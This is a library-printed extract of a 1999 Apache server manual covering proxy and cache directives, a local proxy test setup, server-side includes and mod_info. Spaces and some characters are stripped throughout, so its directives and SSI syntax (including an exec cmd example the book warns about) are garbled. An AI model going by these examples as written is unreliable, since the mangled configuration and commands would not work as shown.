site.proxyhasthreesubdirectories:cache,proxy,real.TheConfigfilefrom/site.proxy/proxyisasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
Port8000
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page171
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ProxyRequestson
CacheRoot/usr/www/site.proxy/cache
CacheSize100000
Thepointstonoticearethat:
OnthissiteweuseServerNamewww.butterthlies.com.
ThePortnumberissetto8000sothatwecanchangeproxieswithouthavingtochangeusers'Configs.
WeturnProxyRequestsonandprovideadirectoryforthecache,whichwewilldiscusslaterinthischapter.
CacheRootissetupinaspecialdirectory.
CacheSizeissetto100000kilobytes.
ProxyRequests
ProxyRequests[on|off]
Default:off
Serverconfig
Thisdirectiveturnsproxyservingon.EvenifProxyRequestsisoff,ProxyPassdirectivesarestillhonored.
ProxyRemote
ProxyRemoteremoteserver=protocol://hostname[:port]
Serverconfig
Thisdirectivedefinesremoteproxiestothisproxy.remoteserveriseitherthenameofaURLschemethattheremoteserversupports,apartialURLforwhich
theremoteservershouldbeused,or" "toindicatethattheservershouldbecontactedforallrequests.protocolistheprotocolthatshouldbeusedto
communicatewiththeremoteserver.Currently,onlyHTTPissupportedbythismodule.Forexample:
ProxyRemoteftphttp://ftpproxy.mydomain.com:8080
ProxyRemotehttp://goodguys.com/http://mirrorguys.com:8000
ProxyRemote http://cleversite.com
ProxyPass
ProxyPasspathurl
Serverconfig
Thiscommandrunsonanordinaryserverandtranslatesrequestsforanameddirectoryandbelowtoademandtoaproxyserver.So,onourordinaryButterthlies
site,wemightwanttopassrequeststo/secretsontoaproxyserverdarkstar.com:
ProxyPass/secretshttp://darkstar.com
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page172
Unfortunately,thisislessusefulthanitmightappear,sincetheproxydoesnotmodifytheHTMLreturnedbydarkstar.com.ThismeansthatURLsembeddedinthe
HTMLwillrefertodocumentsonthemainserverunlesstheyhavebeenwrittencarefully.Forexample,supposeadocumentone.htmlisstoredondarkstar.com
withtheURLhttp://darkstar.com/one.html,andwewantittorefertoanotherdocumentinthesamedirectory.Thenthefollowinglinkswillwork,whenaccessedas
http://www.butterthlies.com/secrets/one.html:
<AHREF="two.html">Two</A>
<AHREF="/secrets/two.html">Two</A>
<AHREF="Two"target="_BLANK">http://darkstar.com/two.html">Two</A>
Butthisexamplewillnotwork:
<AHREF="/two.html">Nottwo</A>
Whenaccesseddirectly,throughhttp://darkstar.com/one.html,theselinkswork:
<AHREF="two.html">Two</A>
<AHREF="/two.html">Two</A>
<AHREF="Two"target="_BLANK">http://darkstar.com/two.html">Two</A>
Butthefollowingdoesn't:
<AHREF="/secrets/two.html">Two</A>
ProxyDomain
ProxyDomainDomain
Serverconfig
ThisdirectiveisonlyusefulforApacheproxyserverswithinintranets.TheProxyDomaindirectivespecifiesthedefaultdomaintowhichtheApacheproxyserver
willbelong.Ifarequesttoahostwithoutadomainnameisencountered,aredirectionresponsetothesamehostwiththeconfiguredDomainappendedwillbe
generated.
NoProxy
NoProxy{Domain|SubNet|IpAddr|Hostname}
Serverconfig
ThisdirectiveisonlyusefulforApacheproxyserverswithinintranets.TheNoProxydirectivespecifiesalistofsubnets,IPaddresses,hosts,and/ordomains,
separatedbyspaces.Arequesttoahostthatmatchesoneormoreoftheseisalwaysserveddirectly,withoutforwardingtotheconfiguredProxyRemoteproxy
server(s).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page173
ProxyPassReverse
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ProxyPassReversepathurl
Serverconfig,virtualhost
Areverseproxyisawaytoshareloadbetweenseveralserversthefrontendserversimplyacceptsrequestsandforwardsthemtooneofseveralbackendservers.
Theoptionalmodulemod_rewritehassomespecialstuffinittosupportthis.ThisdirectiveletsApacheadjusttheURLintheLocationresponseheader.Ifa
ProxyPass(ormod_rewrite)hasbeenusedtodoreverseproxying,thenthisdirectivewillrewriteLocationheaderscomingbackfromthereverseproxied
serversothattheylookasiftheycamefromsomewhereelse(normallythisserver,ofcourse).
Caching
AnotherreasonforusingaproxyserveristocachedatafromtheWebtosavethebandwidthoftheworld'ssadlyoverloadedtelephonesystemsandthereforeto
improveaccesstimeonourserver.
ThedirectiveCacheRoot,cunninglyinsertedintheConfigfileshownearlier,andtheprovisionofaproperlypermissionedcachedirectoryallowustoshowthis
happening.Westartbyprovidingthedirectory/site.proxy/cache,andApachethenimprovesonitwithsomesortofdirectorystructurelike
/site.proxy/cache/d/o/j/gfqbZ@49rZiy6LOCw.
ThefilegfqbZ@49rZiy6LOCwcontainsthefollowing:
320994B632098D953209956C000000000000001E
XURL:http://192.168.124.1/message
HTTP/1.0200OK
Date:Thu,08Aug199607:18:14GMT
Server:Apache/1.1.1
Contentlength:30
LastmodifiedThu,08Aug199606:47:49GMT
Iamawebsitefaroutthere
Nexttimesomeonewantstoaccesshttp://192.168.124.1/message,theproxyserverdoesnothavetolugbytesovertheWebitcanjustgoandlookitup.
Thereareanumberofhousekeepingdirectivesthathelpwithcaching.
CacheRoot
CacheRootdirectory
Default:none
Serverconfig,virtualhost
SetsthedirectorytocontaincachefilesmustbewritablebyApache.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page174
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CacheSize
CacheSizesize_in_kilobytes
Default:5
Serverconfig,virtualhost
Thisdirectivesetsthesizeofthecacheareainkilobytes.Moremaybestored,butgarbagecollectionreducesittolessthanthesetnumber.
CacheGcInterval
CacheGcIntervalhours
Default:never
Serverconfig,virtualhost
Thisdirectivespecifieshowoften,inhours,ApachechecksthecacheanddoesagarbagecollectioniftheamountofdataexceedsCacheSize.
CacheMaxExpire
CacheMaxExpirehours
Default:24
Serverconfig,virtualhost
Thisdirectivespecifieshowlongcacheddocumentsareretained.Thislimitisenforcedevenifadocumentissuppliedwithanexpirationdatethatisfurtherinthe
future.
CacheLastModifiedFactor
CacheLastModifiedFactorfactor
Default:0.1
Serverconfig,virtualhost
Ifnoexpirationtimeissuppliedwiththedocument,thenestimateonebymultiplyingthetimesincelastmodificationbyfactor.CacheMaxExpiretakes
precedence.
CacheDefaultExpire
CacheDefaultExpirehours
Default:1
Serverconfig,virtualhost
Ifthedocumentisfetchedbyaprotocolthatdoesnotsupportexpirationtimes,usethisnumber.CacheMaxExpiredoesnotoverrideit.
CacheDirLevelsandCacheDirLength
CacheDirLevelsnumber
Default:3
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page175
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CacheDirLengthnumber
Default:1
Serverconfig,virtualhost
TheproxymodulestoresitscachewithComponentsthatareahashoftheURL.TheComponentissplitintoCacheDirLevelsofdirectoryusing
CacheDirLengthcharactersforeachlevel.Thisisforefficiencywhenretrievingthefiles(aflatstructureisveryslowonmostsystems).So,forexample:
CacheDirLevels3
CacheDirLength2
convertsthehash"abcdefghijk"intoab/cd/ef/ghijk.Arealhashisactually22characterslong,eachcharacterbeingoneofapossible64(26),sothatthreelevels,
eachwithalengthof1,gives218directories.Thisnumbershouldbetunedtotheanticipatednumberofcacheentries(218beingroughlyaquartermillion,andtherefore
goodforcachesuptoseveralmillionentriesinsize).
CacheNegotiatedDocs
CacheNegotiatedDocs
Default:none
Serverconfig,virtualhost
IfpresentintheConfigfile,thisdirectiveallowscontentnegotiateddocumentstobecachedbyproxyservers.Thiscouldmeanthatclientsbehindthoseproxyscould
retrieveversionsofthedocumentsthatarenotthebestmatchfortheirabilities,butitwillmakecachingmoreefficient.
ThisdirectiveonlyappliestorequeststhatcomefromHTTP/1.0browsers.HTTP/1.1providesmuchbettercontroloverthecachingofnegotiateddocuments,and
thisdirectivehasnoeffectonresponsestoHTTP/1.1requests.
NoCache
NoCache[host\domain][host\domain]
Thisdirectivespecifiesalistofhostsand/ordomains,separatedbyspaces,fromwhichdocumentsarenotcached.
Setup
Thecachedirectoryfortheproxyserverhastobesetuprathercarefullywithownerwebuserandgroupwebgroup,sinceitwillbeaccessedbythatinsignificant
person(seeChapter2,OurFirstWebSite).
YounowhavetotellNetscapethatyouaregoingtobeaccessingtheWebviaaproxy.ClickonEdit Preferences Advanced Proxiestab ManualProxy
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page176
Configuration.ClickonViewand,intheHTTPbox,entertheIPaddressofourproxy,whichisonthesamenetwork,192.168.123,asourcopyofNetscape:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
192.168.123.4
Enter8000inthePortbox.
ForMicrosoftInternetExplorer,selectView Options Connectiontab,checktheProxyServercheckbox,thenclicktheSettingsbuttonandsetuptheHTTP
proxyasdescribedpreviously.Thatisallthereistosettinguparealproxyserver.
Youmightwanttosetupasimulationinordertowatchitinaction,aswedid,beforeyoudotherealthing.However,itisnotthateasytosimulateaproxyserveron
onedesktop,andwhenwehavesimulatedit,theelementsplaydifferentrolesfromthosetheyhavesupportedindemonstrationssofar.Weendupwithfourelements:
NetscaperunningonaWindows95machine.NormallythisisapersonoutthereontheWebtryingtogetatoursalessitenow,itsimulatesaButterthliesmember
tryingtogetout.
Animaginaryfirewall.
AcopyofApache(site:/site.proxy/proxy)runningontheFreeBSDmachineasproxyservertotheButterthliessite.
AnothercopyofApache,alsorunningonFreeBSD(site:/site.proxy/real)thatsimulatesanotherwebsite"outthere"thatwearetryingtoaccess.Wehaveto
imaginethattheillimitablewastesoftheWebseparateitfromus.
Theconfigurationin/site.proxy/proxyisasshownearlier.SincetheproxyserverisrunningonamachinenotionallyontheothersideoftheWebfromthemachine
running/site.proxy/real,weneedtoputitonanotherport,usually8000.
Theconfigurationfilein/proxy/realis:
Userwebuser
Groupwebgroup
ServerNamewww.faraway.com
Listenwww.faraway.com:80
DocumentRoot/usr/www/site.proxy/real/htdocs
Onthissite,weusethemorecompendiousListenwithservernameandportnumbercombined.In/site.proxy/real/htdocsthereisafilemessage:
Iamawebsitefar,faroutthere.
Alsoin/etc/hoststhereisanentry:
192.168.124.1www.faraway.com
simulatingaproperDNSregistrationforthisfaroffsite.Notethatitisonadifferentnetwork(192.168.124)fromtheonewenormallyuse(192.168.123),sothat
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page177
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
whenwetrytoaccessitoverourLAN,wecan'twithouthelp.Somuchforfaraway.
Theweaknessofallthisisin/usr/www/lan_setupontheFreeBSDmachine,becausewearetryingtorunthesetwoservers,notionallyondifferentpartsoftheWeb,
onthesamemachine:
ifconfigep0192.168.123.2
ifconfigep0192.168.123.3aliasnetmaskOxFFFFFFFF
ifconfigep0192.168.124.1alias
Thescriptlan_setuphastomapallthreeserversontothesamephysicalinterface,ep0.Thedriverforep0receivesanyrequestforthesethreeIPnumbersand
forwardsittoanycopyofApacheviaTCP/IP.EachcopyofApachetriestoseeifithasavirtualserverwiththenumber(andifithas,ithandlestherequest),sowe
couldfindthissetupappearingtoworkwhenreallyitisn'tworking.
Nowforaction:GettoConsole1bypressingALTF1,goto/site.proxy/real,andstarttheserverwith./go.Similarly,gotoConsole2andsite
/site.proxy/proxy,andstartitwith./go.OnNetscape,accesshttp://192.168.124.1/.
Youshouldseethefollowing:
Indexof/
.ParentDirectory
.message
Andifweselectmessagewesee:
Iamawebsitefaroutthere
Fine,butarewefoolingourselves?GotoNetscape'sProxiespageanddisabletheHTTPproxybyremovingtheIPaddress:
192.168.123.2
ExitfromNetscapeandreloadthenreaccesshttp://192.168.124.1/.Youshouldgetsomesortofnetworkerror.
Whathappened?WeaskedNetscapetoretrievehttp://192.168.124.1/.Sinceitisonnetwork192.168.123,itfailedtofindthisaddress.Soinsteaditusedthe
proxyserveratport8000on192.168.123.2.Itsentitsmessagethere:
GEThttp://192.168.123.1/HTTP/1.0
ThecopyofApacherunningontheFreeBSDmachine,listeningtoport8000,wasofferedthismorselandacceptedthemessage.SincethatcopyofApachehad
beentoldtoserviceproxyrequests,itretransmittedtherequesttothedestinationwe
Thiscanberecognizedasaproxyrequestbythehttp:intheURL.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page178
thoughtitwasboundforallthetime,192.168.123.1(whichitcandosinceitisonthesamemachine):
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
GET/HTTP/1.0
Inreallife,thingsaresimpler:youonlyhavetocarryoutsteps2and3,andyoucanignorethetheology.Whenyouhavefinishedwithallthis,remembertoremovethe
HTTPproxyIPaddressfromyourbrowsersetup.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page179
10
ServerSideIncludes
Theobjectofthissetoffacilitiesistoallowstatementsthattriggerfurtheractionstobeputintoserveddocuments.ThesameresultscouldbeachievedbyCGI
scriptseithershellscriptsorspeciallywrittenCprogramsbutserversideincludesoftendowhatiswantedwithalotlesseffort.Therangeofpossibleactionsis
immense,sowewilljustgivebasicillustrationsofeachcommandinanumberoftextfilesin/htdocs.
TheConfigfileforthissite(/site.ssi)isasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.ssi/htdocs
ScriptAlias/cgibin/usr/www/cgibin
AddHandlerserverparsedshtml
Options+Includes
Thekeylinesareindicatedinboldprint.
shtmlisthenormalextensionforHTMLscriptswithserversideincludesinthem,andisfoundastheextensiontotherelevantfilesin/htdocs.Wecouldjustaswell
usebrianor#dog_runaslongasitappearsthesamethere,inthefilewiththerelevantcommand,andintheconfigurationfile.Usinghtmlcanbeusefulforinstance,
youcaneasilyimplementsitewideheadersandfootersbutitdoesmeanthateveryHTMLpagegetsparsedbytheSSIengine.Onbusysystems,thiscouldreduce
performance.
BearinmindthatHTMLgeneratedbyaCGIscriptdoesnotgetputthroughtheSSIprocessor,soit'snogoodincludingthemarkuplistedinthischapterinaCGI
script.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page180
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
OptionsIncludesturnsonprocessingofSSIs.Asusual,lookintheerror_logifthingsdon'twork.Theerrormessagespassedtotheclientarenecessarily
uninformativesincetheyareprobablybeingreadthreecontinentsaway,wherenothingusefulcanbedoneaboutthem.
Thetrickistoinsertspecialstringsintoourdocuments,whichthengetpickedupbyApacheontheirwaythrough,testedagainstreferencestringsusing=,!=,<,<=,
>,and>=andthenreplacedbydynamicallywrittenmessages.Aswewillsee,thestringshaveadeliberatelyunusualformsotheywon'tgetconfusedwithmore
routinestuff.Thesyntaxofacommandis:
<!#elementattribute=valueattribute=value>
TheApachemanualtellsuswhattheelementsare:
config
Thiscommandcontrolsvariousaspectsoftheparsing.Thevalidattributesareasfollows:
errmsg
Thevalueisamessagethatissentbacktotheclientifanerroroccursduringdocumentparsing.
sizefmt
Thevaluesetstheformattobeusedwhendisplayingthesizeofafile.Validvaluesarebytesforacountinbytes,orabbrevforacountinkilobytesor
megabytesasappropriate.
timefmt
Thevalueisastringtobeusedbythestrftime()libraryroutinewhenprintingdates.
echo
Thiscommandprintsoneoftheincludevariables,definedlaterinthischapter.Ifthevariableisunset,itisprintedas(none).Anydatesprintedaresubjectto
thecurrentlyconfiguredtimefmt.Theonlyattributeis:
var
Thevalueisthenameofthevariabletoprint.
exec
TheexeccommandexecutesagivenshellcommandorCGIscript.OptionsIncludesNOEXECdisablesthiscommandcompletelyaboontothe
prudentwebmaster.Thevalidattributeis:
cgi
Thevaluespecifiesa%encodedURLrelativepathtotheCGIscript.Ifthepathdoesnotbeginwithaslash,itistakentoberelativetothecurrentdocument.
ThedocumentreferencedbythispathisinvokedasaCGI
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page181
script,eveniftheserverwouldnotnormallyrecognizeitassuch.However,thedirectorycontainingthescriptmustbeenabledforCGIscripts(with
ScriptAliasortheExecCGIoption).TheprotectivewrappersuEXECwillbeappliedifitisturnedon.TheCGIscriptisgiventhePATH_INFOand
querystring(QUERY_STRING)oftheoriginalrequestfromtheclientthesecannotbespecifiedintheURLpath.Theincludevariableswillbeavailableto
thescriptinadditiontothestandardCGIenvironment.IfthescriptreturnsaLocationheaderinsteadofoutput,thisistranslatedintoanHTMLanchor.If
OptionsIncludesNOEXECissetintheConfigfile,thiscommandisturnedoff.Theincludevirtualelementshouldbeusedinpreferenceto
execcgi.
cmd
Theserverexecutesthegivenstringusing/bin/sh.Theincludevariablesareavailabletothecommand.IfOptionsIncludesNOEXECissetintheConfig
file,thisisturnedoff.
fsize
Thiscommandprintsthesizeofthespecifiedfile,subjecttothesizefmtformatspecification.Theattributesareasfollows:
file
Thevalueisapathrelativetothedirectorycontainingthecurrentdocumentbeingparsed.
virtual
Thevalueisa%encodedURLpathrelativetothecurrentdocumentbeingparsed.Ifitdoesnotbeginwithaslash,itistakentoberelativetothecurrent
document.
flastmod
Thiscommandprintsthelastmodificationdateofthespecifiedfile,subjecttothetimefmtformatspecification.Theattributesarethesameasforthefsize
command.
include
IncludesotherConfigfilesimmediatelyatthatpointinparsingrightthereandthen,notlateron.Anyincludedfileissubjecttotheusualaccesscontrol.Ifthe
directorycontainingtheparsedfilehasOptionsIncludesNOEXECsetandincludingthedocumentcausesaprogramtobeexecuted,itisn'tincluded:this
preventstheexecutionofCGIscripts.Otherwise,CGIscriptsareinvokedasnormalusingthecompleteURLgiveninthecommand,includinganyquerystring.
Anattributedefinesthelocationofthedocumenttheinclusionisdoneforeachattributegiventotheincludecommand.Thevalidattributesareasfollows.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page182
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
file
Thevalueisapathrelativetothedirectorycontainingthecurrentdocumentbeingparsed.Itcan'tcontain../,norcanitbeanabsolutepath.Thevirtual
attributeshouldalwaysbeusedinpreferencetothisone.
virtual
Thevalueisa%encodedURLrelativetothecurrentdocumentbeingparsed.TheURLcannotcontainaschemeorhostname,onlyapathandanoptionalquery
string.Ifitdoesnotbeginwithaslash,thenitistakentoberelativetothecurrentdocument.AURLisconstructedfromtheattribute'svalue,andtheserverreturns
thesameoutputitwouldhaveiftheclienthadrequestedthatURL.Thus,includedfilescanbenested.ACGIscriptcanstillberunbythismethodevenif
OptionsIncludesNOEXECissetintheConfigfile.ThereasoningisthatclientscanruntheCGIanywaybyusingitsURLasahotlinkorsimplytypingitinto
theirbrowser,sonoharmisdonebyusingthismethod(unlikecmdorexec).
FileSize
Thefsizecommandallowsyoutoreportthesizeofafileinsideadocument.Thefilesize.shtmlisasfollows:
<!#configerrmsg="Bungledagain!">
<!#configsizefmt="bytes">
Thesizeofthisfileis<!#fsizefile="size.shtml">bytes.
Thesizeofanother_fileis<!#fsizefile="another_file">bytes.
Thefirstlineprovidesanerrormessage.Thesecondlinemeansthatthesizeofanyfilesisreportedinbytesprintedasanumber,forinstance,89.Changingbytes
toabbrevgetsthesizeinkilobytes,printedas1k.Thethirdlineprintsthesizeofsize.shtmlitselfthefourthlineprintsthesizeofanother_file.Youcan'tcomment
outlineswiththe''#"charactersinceitjustprints,andthefollowingcommandisparsedstraightaway.configcommandsmustcomeabovecommandsthatmight
wanttousethem.
Youcanreplacethewordfile=inthisscript,andinthosewhichfollow,withvirtual=,whichgivesa%encodedURLpathrelativetothecurrentdocument
beingparsed.Ifitdoesnotbeginwithaslash,itistakentoberelativetothecurrentdocument.
Ifyouplaywiththisstuff,youfindthatApacheispickyaboutthesyntax.Forinstance,trailingspacescauseanerror:
Thesizeofthisfileis<!#fsizefile="size.shtml">bytes.
ThesizeofthisfileisBungledagain!bytes
Ifwehadnotusedtheerrmsgcommand,wewouldseethefollowing:
[anerroroccurredwhileprocessingthisdirective]
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page183
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
FileModificationTime
Thelastmodificationtimeofafilecanbereportedwithflastmod.Thisgivestheclient
anideaofthefreshnessofthedatayouareoffering.Theformatoftheoutputiscontrolled
bythetimefmtattributeoftheconfigelement.Thedefaultrulesfortimefmt
arethesameasfortheClibraryfunctionstrftime(),exceptthattheyearisnow
showninfourdigitformattocopewiththeYear2000problem.Win32Apacheissoon
tobemodifiedtomakeitworkinthesamewayastheUnixversion.Win32userswhodo
nothaveaccesstoUnixCmanualscanconsulttheFreeBSDdocumentationat
http://www.freebsd.org,forexample:
%manstrftime
(Wehavenotincludeditherebecauseitmaywellvaryfromsystemtosystem.)
Thefiletime.shtmlgivesanexample:
<!#configerrmsg="Bungledagain!">
<!#configtimefmt="%A%B%C,the%jthdayoftheyear,%Sseconds
sincetheEpoch">
Themodtimeofthisfileis<!#flastmodvirtual="size.shtml">
Themodtimeofanother_fileis<!#flastmodvirtual="another_file">
Thisproducesaresponsesuchasthefollowing:
ThemodtimeofthisfileisTuesdayAugust19,the240thdayoftheyear,
841162166secondssincetheEpochThemodtimeofanother_fileisTuesday
August19,the240thdayoftheyear,841162166secondssincetheEpoch
Includes
Wecanincludeonefileinanotherwiththeincludecommand:
<#configerrmsg="Bungledagain!"__>
Thisissometextinwhichwewanttoincludetextfromanotherfile:
<<<!__#includevirtual="another_file"__>>>
Thatwasit.
Thisproducesthefollowingresponse:
Thisissometextinwhichwewanttoincludetextfromanotherfile:
<<Thisisthestuffin'another_file'.>>
Thatwasit.
ExecuteCGI
WecanhaveaCGIscriptexecutedwithouthavingtobotherwithAddHandler,SetHandler,orExecCGI.Thefileexec.shtmlcontains:
<!#configerrmsg="Bungledagain!">
We'renowgoingtoexecute'cmd="lsl"":
<<<!#execcmd="lsl">>>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page184
andnow/usr/www/cgibin/mycgi.cgi:
<<<!#execcgi="cgibin/mycgi.cgi">>>
andnowthe'virtual'option:
<<<!#includevirtual="cgibin/mycgi.cgi">>>
Thatwasit.
Therearetwoattributesavailabletoexec:cgiandcmd.ThedifferenceisthatcgineedsaURL(inthiscasecgibin/mycgi.cgi,setupbythe
ScriptAliaslineintheConfigfile)andisprotectedbysuEXECifconfigured,whereascmdwillexecuteanything.
Thereisathirdwayofexecutingafile,namely,throughthevirtualattributetotheincludecommand.Whenweselectexec.shtmlfromthebrowser,wegetthis
result:
We'renowgoingtoexecute'cmd="lsl"":
<total24
rwrwr1414xten39Oct808:33another_file
rwrwr1414xten106Nov111997echo.shtml
rwrwr1414xten295Oct810:52exec.shtml
rwrwr1414xten174Nov111997include.shtml
rwrwr1414xten206Nov111997size.shtml
rwrwr1414xten269Nov111997time.shtml
>>
andnow/usr/www/cgibin/mycgi.cgi:
<<Haveaniceday
>>
andnowthe'virtual'option:
<<Haveaniceday
>>
Thatwasit.
Aprudentwebmastershouldviewthecmdandcgioptionswithgravesuspicion,sincetheyletwritersofSSIsgiveboththemselvesandoutsidersdangerous
access.However,ifheorsheusesOptions+IncludesNOEXECintheConfigfile,theproblemgoesaway:
We'renowgoingtoexecute'cmd="lsl"":
<<Bungledagain!>>
andnow/usr/www/cgibin/mycgi.cgi:
<<Bungledagain!>>
andnowthe'virtual'option:
<<Haveaniceday
>>
Thatwasit.
Now,nothingcanbeexecutedthroughanSSIthatcouldn'tbeexecuteddirectlythroughabrowser,withallthecontrolthatimpliesforthewebmaster.(Youmight
thinkthatexeccgi=wouldbethewaytodothis,butitseemsthatsomequestionofbackwardcompatibilityintervenes.)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page185
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Apache1.3introducedtheimprovementthatbufferscontainingtheoutputofCGIscriptsareflushedandsenttotheclientwheneverthebufferhassomethinginitand
theserveriswaiting.
Echo
Finally,wecanechoalimitednumberofenvironmentvariables:DATE_GMT,DATE_LOCAL,DOCUMENT_NAME,DOCUMENT_URI,and
LAST_MODIFIED.Thefileecho.shtmlis:
EchoingtheDocument_URI<!#echovar="DOCUMENT_URI">
EchoingtheDATE_GMT<!#echovar="DATE_GMT">
andproducestheresponse:
EchoingtheDocument_URI/echo.shtml
EchoingtheDATE_GMTSaturday,17Aug9607:50:31
XBitHack
Thisisanobsoletefacilityforhandlingserversideincludesautomaticallyiftheexecutepermissionissetonafile.Itisprovidedforbackwardcompatibility.Ifthe
groupexecutebitisset,alongexpirationtimeisgiventothebrowser.Itisbettertouseahandlerasdescribedabove.
XSSI
ThisisanextensionofthestandardSSIcommandsavailableintheXSSImodule,whichbecameastandardpartoftheApachedistributioninVersion1.2.XSSIadds
thefollowingabilitiestothestandardSSI:
XSSIallowsvariablesinanySSIcommands.Forexample,thelastmodificationtimeofthecurrentdocumentcouldbeobtainedwith:
<!#flastmodfile="$DOCUMENT_NAME">.
ThesetcommandsetsvariableswithintheSSI.
TheSSIcommandsif,else,elif,andendifareusedtoincludepartsofthefilebasedonconditionaltests.Forexample,the$HTTP_USER_AGENT
variablecouldbetestedtoseethetypeofbrowser,anddifferentHTMLcodesoutputdependingonthebrowsercapabilities.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page186
11
What'sGoingOn?
Apacheisabletoreporttoaclientagreatdealofwhatishappeningtoitinternally.Thenecessarymoduleiscontainedinthemod_info.cfile,whichshouldbe
includedatbuildtime.Itprovidesacomprehensiveoverviewoftheserverconfiguration,includingallinstalledmodulesanddirectivesintheconfigurationfiles.This
moduleisnotcompiledintotheserverbydefault.Toenableit,eitherloadthecorrespondingmoduleifyouarerunningWin32orUnixwithDSOsupportenabled,or
addthefollowinglinetotheserverbuildConfigfileandrebuildtheserver:
AddModulemodules/standard/mod_info.o
Itshouldalsobenotedthatifmod_infoiscompiledintotheserver,itshandlercapabilityisavailableinallconfigurationfiles,includingperdirectoryfiles(e.g.,
.btacces).Thismayhavesecurityrelatedramificationsforyoursite.
AddModulelnfo
AddModuleInfomodulenamestring
Serverconfig,virtualhost
